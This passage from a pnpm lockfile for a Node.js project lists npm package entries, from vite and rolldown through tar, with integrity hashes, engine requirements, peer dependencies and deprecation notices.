sha512-5hI5NCJwKBGtzWtdKB3c2fOEpI77Iaa0z4mSzZPU1cJ/OqrGbFafm90edVCd7T9Snz+Sh09TMAv4EQqyVLzuEg==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    deprecated: Use 7.3.1 for migration purposes. For the most recent updates, migrate to Vite 8 once you're ready.\n    hasBin: true\n    peerDependencies:\n      '@types/node': ^20.19.0 || >=22.12.0\n      esbuild: ^0.27.0\n      jiti: '>=1.21.0'\n      less: ^4.0.0\n      sass: ^1.70.0\n      sass-embedded: ^1.70.0\n      stylus: '>=0.54.8'\n      sugarss: ^5.0.0\n      terser: ^5.16.0\n      tsx: ^4.8.1\n      yaml: ^2.4.2\n    peerDependenciesMeta:\n      '@types/node':\n        optional: true\n      esbuild:\n        optional: true\n      jiti:\n        optional: true\n      less:\n        optional: true\n      sass:\n        optional: true\n      sass-embedded:\n        optional: true\n      stylus:\n        optional: true\n      sugarss:\n        optional: true\n      terser:\n        optional: true\n      tsx:\n        optional: true\n      yaml:\n        optional: true\n\n  rolldown@1.0.0-beta.53:\n    resolution: {integrity: sha512-Qd9c2p0XKZdgT5AYd+KgAMggJ8ZmCs3JnS9PTMWkyUfteKlfmKtxJbWTHkVakxwXs1Ub7jrRYVeFeF7N0sQxyw==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    hasBin: true\n\n  rolldown@1.0.0-beta.55:\n    resolution: {integrity: sha512-r8Ws43aYCnfO07ao0SvQRz4TBAtZJjGWNvScRBOHuiNHvjfECOJBIqJv0nUkL1GYcltjvvHswRilDF1ocsC0+g==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    hasBin: true\n\n  router@2.2.0:\n    resolution: {integrity: sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==}\n    engines: {node: '>= 18'}\n\n  run-parallel@1.2.0:\n    resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==}\n\n  runscript@2.0.1:\n    resolution: {integrity: sha512-CjlpKusSKpE943TsCLkqU1dBDfC2nWwaaiaVlXu3IG3FvSa4IqSn7dMGT16Q6wDNUJX/51IO4mifbEipXnMKDA==}\n    engines: {node: '>=16.0.0'}\n\n  sade@1.8.1:\n    resolution: {integrity: sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==}\n    engines: {node: '>=6'}\n\n  safe-buffer@5.2.1:\n    resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==}\n\n  safe-regex-test@1.1.0:\n    resolution: {integrity: sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==}\n    engines: {node: '>= 0.4'}\n\n  safe-timers@1.1.0:\n    resolution: {integrity: sha512-9aqY+v5eMvmRaluUEtdRThV1EjlSElzO7HuCj0sTW9xvp++8iJ9t/RWGNWV6/WHcUJLHpyT2SNf/apoKTU2EpA==}\n\n  safer-buffer@2.1.2:\n    resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==}\n\n  sass@1.93.2:\n    resolution: {integrity: sha512-t+YPtOQHpGW1QWsh1CHQ5cPIr9lbbGZLZnbihP/D/qZj/yuV68m8qarcV17nvkOX81BCrvzAlq2klCQFZghyTg==}\n    engines: {node: '>=14.0.0'}\n    hasBin: true\n\n  sax@1.4.3:\n    resolution: {integrity: sha512-yqYn1JhPczigF94DMS+shiDMjDowYO6y9+wB/4WgO0Y19jWYk0lQ4tuG5KI7kj4FTp1wxPj5IFfcrz/s1c3jjQ==}\n\n  sdk-base@3.6.0:\n    resolution: {integrity: sha512-jxHUIrRLlAoRFRwiXKhOGjd6BeFWO/jz7tv+E7lbMSef6F9jzFN2Sv3hLW58oDDKscKaBGG6vQdkbXn7isE7fw==}\n\n  sdk-base@4.2.1:\n    resolution: {integrity: sha512-B33iy/AkIpLyxexn/5v+8jmYHCyUaJizEQcmhvMY+SoiXViY1FEULbQibQH/EcOfzPwJqJ5UDeXyUJGO47Sq3g==}\n\n  sdk-base@5.0.1:\n    resolution: {integrity: sha512-tmhQlORNTTO0204xafKM6rzIWX4B2BtLMN7TJ/jd9mlIo+wf5mRIBPUDBFIqbqzoK9WNerSOwh9KdgTRgjyJ3Q==}\n    engines: {node: '>= 18.19.0'}\n\n  section-matter@1.0.0:\n    resolution: {integrity: sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==}\n    engines: {node: '>=4'}\n\n  semver@5.7.2:\n    resolution: {integrity: sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==}\n    hasBin: true\n\n  semver@7.7.3:\n    resolution: {integrity: sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==}\n    engines: {node: '>=10'}\n    hasBin: true\n\n  send@0.19.0:\n    resolution: {integrity: sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==}\n    engines: {node: '>= 0.8.0'}\n\n  send@1.2.1:\n    resolution: {integrity: sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==}\n    engines: {node: '>= 18'}\n\n  sendmessage@3.0.2:\n    resolution: {integrity: sha512-nQWHp6obvkK9/ExmY8hjqzVPgcgAh1ZRgetV8bPcmXgQl6ujJVwWPeAfkk0aB+PKi4v4GY59Jxa0+c1qwXsrRw==}\n    engines: {node: '>= 18.19.0'}\n\n  sentence-case@2.1.1:\n    resolution: {integrity: sha512-ENl7cYHaK/Ktwk5OTD+aDbQ3uC8IByu/6Bkg+HDv8Mm+XnBnppVNalcfJTNsp1ibstKh030/JKQQWglDvtKwEQ==}\n\n  seq-queue@0.0.5:\n    resolution: {integrity: sha512-hr3Wtp/GZIc/6DAGPDcV4/9WoZhjrkXsi5B/07QgX8tsdc6ilr7BFM6PM6rbdAX1kFSDYeZGLipIZZKyQP0O5Q==}\n\n  serialize-javascript@6.0.2:\n    resolution: {integrity: sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==}\n\n  serialize-json@1.0.3:\n    resolution: {integrity: sha512-TJvXOXSUEH4Lh2FNy1mYzNkUyBG7Ti5fRKGAbcpaDX3mLq23aT/5unC+cIFc5JTDi4/BHTaYLhynrboCCYrFaQ==}\n    engines: {node: '>= 4.0.0'}\n\n  serve-static@1.16.2:\n    resolution: {integrity: sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==}\n    engines: {node: '>= 0.8.0'}\n\n  serve-static@2.2.1:\n    resolution: {integrity: sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==}\n    engines: {node: '>= 18'}\n\n  set-blocking@2.0.0:\n    resolution: {integrity: sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==}\n\n  set-function-length@1.2.2:\n    resolution: {integrity: sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==}\n    engines: {node: '>= 0.4'}\n\n  set-function-name@2.0.2:\n    resolution: {integrity: sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==}\n    engines: {node: '>= 0.4'}\n\n  setprototypeof@1.1.0:\n    resolution: {integrity: sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==}\n\n  setprototypeof@1.2.0:\n    resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==}\n\n  shebang-command@1.2.0:\n    resolution: {integrity: sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==}\n    engines: {node: '>=0.10.0'}\n\n  shebang-command@2.0.0:\n    resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==}\n    engines: {node: '>=8'}\n\n  shebang-regex@1.0.0:\n    resolution: {integrity: sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==}\n    engines: {node: '>=0.10.0'}\n\n  shebang-regex@3.0.0:\n    resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==}\n    engines: {node: '>=8'}\n\n  shiki@3.15.0:\n    resolution: {integrity: sha512-kLdkY6iV3dYbtPwS9KXU7mjfmDm25f5m0IPNFnaXO7TBPcvbUOY72PYXSuSqDzwp+vlH/d7MXpHlKO/x+QoLXw==}\n\n  should-send-same-site-none@2.0.5:\n    resolution: {integrity: sha512-7dig49H7sKnv1v/GPoFQChGgJdEX9s2oy9TQBSD5RbUx7M9CCRjHMaFP06v+DZQNM0K+o8dBhvBAd4eEKirqbQ==}\n\n  side-channel-list@1.0.0:\n    resolution: {integrity: sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==}\n    engines: {node: '>= 0.4'}\n\n  side-channel-map@1.0.1:\n    resolution: {integrity: sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==}\n    engines: {node: '>= 0.4'}\n\n  side-channel-weakmap@1.0.2:\n    resolution: {integrity: sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==}\n    engines: {node: '>= 0.4'}\n\n  side-channel@1.1.0:\n    resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==}\n    engines: {node: '>= 0.4'}\n\n  siginfo@2.0.0:\n    resolution: {integrity: sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==}\n\n  signal-exit@3.0.7:\n    resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==}\n\n  signal-exit@4.1.0:\n    resolution: {integrity: sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==}\n    engines: {node: '>=14'}\n\n  sigstore@1.9.0:\n    resolution: {integrity: sha512-0Zjz0oe37d08VeOtBIuB6cRriqXse2e8w+7yIy2XSXjshRKxbc2KkhXjL229jXSxEm7UbcjS76wcJDGQddVI9A==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n    hasBin: true\n\n  simple-wcswidth@1.1.2:\n    resolution: {integrity: sha512-j7piyCjAeTDSjzTSQ7DokZtMNwNlEAyxqSZeCS+CXH7fJ4jx3FuJ/mTW3mE+6JLs4VJBbcll0Kjn+KXI5t21Iw==}\n\n  sirv@3.0.2:\n    resolution: {integrity: sha512-2wcC/oGxHis/BoHkkPwldgiPSYcpZK3JU28WoMVv55yHJgcZ8rlXvuG9iZggz+sU1d4bRgIGASwyWqjxu3FM0g==}\n    engines: {node: '>=18'}\n\n  sisteransi@1.0.5:\n    resolution: {integrity: sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==}\n\n  slash@3.0.0:\n    resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==}\n    engines: {node: '>=8'}\n\n  slash@5.1.0:\n    resolution: {integrity: sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==}\n    engines: {node: '>=14.16'}\n\n  slice-ansi@7.1.2:\n    resolution: {integrity: sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w==}\n    engines: {node: '>=18'}\n\n  smart-buffer@4.2.0:\n    resolution: {integrity: sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==}\n    engines: {node: '>= 6.0.0', npm: '>= 3.0.0'}\n\n  snake-case@2.1.0:\n    resolution: {integrity: sha512-FMR5YoPFwOLuh4rRz92dywJjyKYZNLpMn1R5ujVpIYkbA9p01fq8RMg0FkO4M+Yobt4MjHeLTJVm5xFFBHSV2Q==}\n\n  socks-proxy-agent@7.0.0:\n    resolution: {integrity: sha512-Fgl0YPZ902wEsAyiQ+idGd1A7rSFx/ayC1CQVMw5P+EQx2V0SgpGtf6OKFhVjPflPUl9YMmEOnmfjCdMUsygww==}\n    engines: {node: '>= 10'}\n\n  socks@2.8.7:\n    resolution: {integrity: sha512-HLpt+uLy/pxB+bum/9DzAgiKS8CX1EvbWxI4zlmgGCExImLdiad2iCwXT5Z4c9c3Eq8rP2318mPW2c+QbtjK8A==}\n    engines: {node: '>= 10.0.0', npm: '>= 3.0.0'}\n\n  source-map-js@1.2.1:\n    resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==}\n    engines: {node: '>=0.10.0'}\n\n  source-map-support@0.5.21:\n    resolution: {integrity: sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==}\n\n  source-map@0.6.1:\n    resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==}\n    engines: {node: '>=0.10.0'}\n\n  space-separated-tokens@2.0.2:\n    resolution: {integrity: sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==}\n\n  spdx-correct@3.2.0:\n    resolution: {integrity: sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==}\n\n  spdx-exceptions@2.5.0:\n    resolution: {integrity: sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==}\n\n  spdx-expression-parse@3.0.1:\n    resolution: {integrity: sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==}\n\n  spdx-license-ids@3.0.22:\n    resolution: {integrity: sha512-4PRT4nh1EImPbt2jASOKHX7PB7I+e4IWNLvkKFDxNhJlfjbYlleYQh285Z/3mPTHSAK/AvdMmw5BNNuYH8ShgQ==}\n\n  speakingurl@14.0.1:\n    resolution: {integrity: sha512-1POYv7uv2gXoyGFpBCmpDVSNV74IfsWlDW216UPjbWufNf+bSU6GdbDsxdcxtfwb4xlI3yxzOTKClUosxARYrQ==}\n    engines: {node: '>=0.10.0'}\n\n  split@1.0.1:\n    resolution: {integrity: sha512-mTyOoPbrivtXnwnIxZRFYRrPNtEFKlpB2fvjSnCQUiAA6qAZzqwna5envK4uk6OIeP17CsdF3rSBGYVBsU0Tkg==}\n\n  sprintf-js@1.0.3:\n    resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==}\n\n  sprintf-js@1.1.3:\n    resolution: {integrity: sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==}\n\n  spy@1.0.0:\n    resolution: {integrity: sha512-UPZwZSOuEj1InzelgmBPj3f74qywS99VCJVklZVnhXEnZjwTLe+PybMxBXWWr6Aiu140cFLAEmMop5YsC++Jog==}\n\n  sqlstring@2.3.3:\n    resolution: {integrity: sha512-qC9iz2FlN7DQl3+wjwn3802RTyjCx7sDvfQEXchwa6CWOx07/WVfh91gBmQ9fahw8snwGEWU3xGzOt4tFyHLxg==}\n    engines: {node: '>= 0.6'}\n\n  ssri@10.0.6:\n    resolution: {integrity: sha512-MGrFH9Z4NP9Iyhqn16sDtBpRRNJ0Y2hNa6D65h736fVSaPCHr4DM4sWUNvVaSuC+0OBGhwsrydQwmgfg5LncqQ==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  ssri@9.0.1:\n    resolution: {integrity: sha512-o57Wcn66jMQvfHG1FlYbWeZWW/dHZhJXjpIcTfXldXEk5nz5lStPo3mK0OJQfGR3RbZUlbISexbljkJzuEj/8Q==}\n    engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0}\n\n  stack-trace@0.0.10:\n    resolution: {integrity: sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg==}\n\n  stackback@0.0.2:\n    resolution: {integrity: sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==}\n\n  standard-as-callback@2.1.0:\n    resolution: {integrity: sha512-qoRRSyROncaz1z0mvYqIE4lCd9p2R90i6GxW3uZv5ucSu8tU7B5HXUP1gG8pVZsYNVaXjk8ClXHPttLyxAL48A==}\n\n  statuses@1.5.0:\n    resolution: {integrity: sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==}\n    engines: {node: '>= 0.6'}\n\n  statuses@2.0.1:\n    resolution: {integrity: sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==}\n    engines: {node: '>= 0.8'}\n\n  statuses@2.0.2:\n    resolution: {integrity: sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==}\n    engines: {node: '>= 0.8'}\n\n  std-env@3.10.0:\n    resolution: {integrity: sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==}\n\n  stop-iteration-iterator@1.1.0:\n    resolution: {integrity: sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==}\n    engines: {node: '>= 0.4'}\n\n  stream-combiner@0.2.2:\n    resolution: {integrity: sha512-6yHMqgLYDzQDcAkL+tjJDC5nSNuNIx0vZtRZeiPh7Saef7VHX9H5Ijn9l2VIol2zaNYlYEX6KyuT/237A58qEQ==}\n\n  stream-slice@0.1.2:\n    resolution: {integrity: sha512-QzQxpoacatkreL6jsxnVb7X5R/pGw9OUv2qWTYWnmLpg4NdN31snPy/f3TdQE1ZUXaThRvj1Zw4/OGg0ZkaLMA==}\n\n  stream-wormhole@2.0.1:\n    resolution: {integrity: sha512-B31SiV7tNxOGqvC367O1dVL4nWBgCT7xqtHtikvxUkrbxgvtUemYc6WyO8+Z5cLW8/HUvYmNkgZIjTXYLIDYVw==}\n    engines: {node: '>=16.0.0'}\n\n  streamsearch@1.1.0:\n    resolution: {integrity: sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==}\n    engines: {node: '>=10.0.0'}\n\n  string-argv@0.3.2:\n    resolution: {integrity: sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q==}\n    engines: {node: '>=0.6.19'}\n\n  string-width@3.1.0:\n    resolution: {integrity: sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==}\n    engines: {node: '>=6'}\n\n  string-width@4.2.3:\n    resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==}\n    engines: {node: '>=8'}\n\n  string-width@5.1.2:\n    resolution: {integrity: sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==}\n    engines: {node: '>=12'}\n\n  string-width@7.2.0:\n    resolution: {integrity: sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==}\n    engines: {node: '>=18'}\n\n  string-width@8.1.0:\n    resolution: {integrity: sha512-Kxl3KJGb/gxkaUMOjRsQ8IrXiGW75O4E3RPjFIINOVH8AMl2SQ/yWdTzWwF3FevIX9LcMAjJW+GRwAlAbTSXdg==}\n    engines: {node: '>=20'}\n\n  string_decoder@1.3.0:\n    resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==}\n\n  stringify-entities@4.0.4:\n    resolution: {integrity: sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==}\n\n  strip-ansi@5.2.0:\n    resolution: {integrity: sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==}\n    engines: {node: '>=6'}\n\n  strip-ansi@6.0.1:\n    resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==}\n    engines: {node: '>=8'}\n\n  strip-ansi@7.1.2:\n    resolution: {integrity: sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==}\n    engines: {node: '>=12'}\n\n  strip-bom-string@1.0.0:\n    resolution: {integrity: sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==}\n    engines: {node: '>=0.10.0'}\n\n  strip-bom@3.0.0:\n    resolution: {integrity: sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==}\n    engines: {node: '>=4'}\n\n  strip-final-newline@2.0.0:\n    resolution: {integrity: sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==}\n    engines: {node: '>=6'}\n\n  strip-final-newline@4.0.0:\n    resolution: {integrity: sha512-aulFJcD6YK8V1G7iRB5tigAP4TsHBZZrOV8pjV++zdUwmeV8uzbY7yn6h9MswN62adStNZFuCIx4haBnRuMDaw==}\n    engines: {node: '>=18'}\n\n  strip-json-comments@2.0.1:\n    resolution: {integrity: sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==}\n    engines: {node: '>=0.10.0'}\n\n  strip-json-comments@3.1.1:\n    resolution: {integrity: sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==}\n    engines: {node: '>=8'}\n\n  superagent@10.2.3:\n    resolution: {integrity: sha512-y/hkYGeXAj7wUMjxRbB21g/l6aAEituGXM9Rwl4o20+SX3e8YOSV6BxFXl+dL3Uk0mjSL3kCbNkwURm8/gEDig==}\n    engines: {node: '>=14.18.0'}\n\n  superjson@2.2.2:\n    resolution: {integrity: sha512-5JRxVqC8I8NuOUjzBbvVJAKNM8qoVuH0O77h4WInc/qC2q5IreqKxYwgkga3PfA22OayK2ikceb/B26dztPl+Q==}\n    engines: {node: '>=16'}\n\n  supports-color@10.2.2:\n    resolution: {integrity: sha512-SS+jx45GF1QjgEXQx4NJZV9ImqmO2NPz5FNsIHrsDjh2YsHnawpan7SNQ1o8NuhrbHZy9AZhIoCUiCeaW/C80g==}\n    engines: {node: '>=18'}\n\n  supports-color@5.5.0:\n    resolution: {integrity: sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==}\n    engines: {node: '>=4'}\n\n  supports-color@7.2.0:\n    resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==}\n    engines: {node: '>=8'}\n\n  supports-color@8.1.1:\n    resolution: {integrity: sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==}\n    engines: {node: '>=10'}\n\n  supports-hyperlinks@4.3.0:\n    resolution: {integrity: sha512-i6sWEzuwadSlcr2mOnb0ktlIl+K5FVxsPXmoPfknDd2gyw4ZBIAZ5coc0NQzYqDdEYXMHy8NaY9rWwa1Q1myiQ==}\n    engines: {node: '>=20'}\n\n  swap-case@1.1.2:\n    resolution: {integrity: sha512-BAmWG6/bx8syfc6qXPprof3Mn5vQgf5dwdUNJhsNqU9WdPt5P+ES/wQ5bxfijy8zwZgZZHslC3iAsxsuQMCzJQ==}\n\n  tabbable@6.3.0:\n    resolution: {integrity: sha512-EIHvdY5bPLuWForiR/AN2Bxngzpuwn1is4asboytXtpTgsArc+WmSJKVLlhdh71u7jFcryDqB2A8lQvj78MkyQ==}\n\n  tagged-tag@1.0.0:\n    resolution: {integrity: sha512-yEFYrVhod+hdNyx7g5Bnkkb0G6si8HJurOoOEgC8B/O0uXLHlaey/65KRv6cuWBNhBgHKAROVpc7QyYqE5gFng==}\n    engines: {node: '>=20'}\n\n  tar@6.2.1:\n    resolution: {integrity: sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==}\n    engines: {node: '>=10'}\n    deprecated: Old versions of tar are not supported, and 